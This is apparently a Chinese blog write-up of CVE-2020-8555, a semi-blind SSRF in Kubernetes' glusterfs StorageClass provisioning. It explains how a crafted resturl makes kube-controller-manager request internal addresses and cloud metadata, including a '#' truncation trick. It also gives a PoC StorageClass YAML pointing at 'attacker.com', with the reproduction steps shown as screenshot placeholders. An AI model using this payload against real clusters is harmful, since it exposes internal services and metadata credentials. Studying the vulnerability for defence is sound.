CVE-2020-8555

漏洞原理

当用户创建一个 kubernetes.io/glusterfs 的 StorageClass,并把 parameters.resturl 设成一个攻击者控制的 URL 时,kube-controller-manager 在给 PVC 创建卷(provision)时会用它自己的网络身份(能访问 master 网段/回环/内网)向这个任意 URL 发 HTTP 请求。攻击者由此可拨测内网、访问 metadata(169.254.169.254)、探测未保护的 loopback 服务——且响应最多 500 字节会被带回到 PVC 事件里泄露(半盲 SSRF)。

关键小技巧:resturl 末尾加 #,把 heketi 客户端自动拼接到路径末尾的 /volumes 截断掉,让请求恰好打到 http://目 标:端口 根路径。

POC

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"

漏洞复现

起一个 HTTP监听器当"攻击者目标

image-20260917141827692

创建恶意 StorageClass + Secret + PVC

image-20260917142044716

监听到请求

image-20260917142101250

看响应被泄露到 PV 事件

image-20260917142132367

标签: none

添加新评论

邮箱仅用于识别回复,不会在页面公开。提交后请等待页面确认结果。

文章图片预览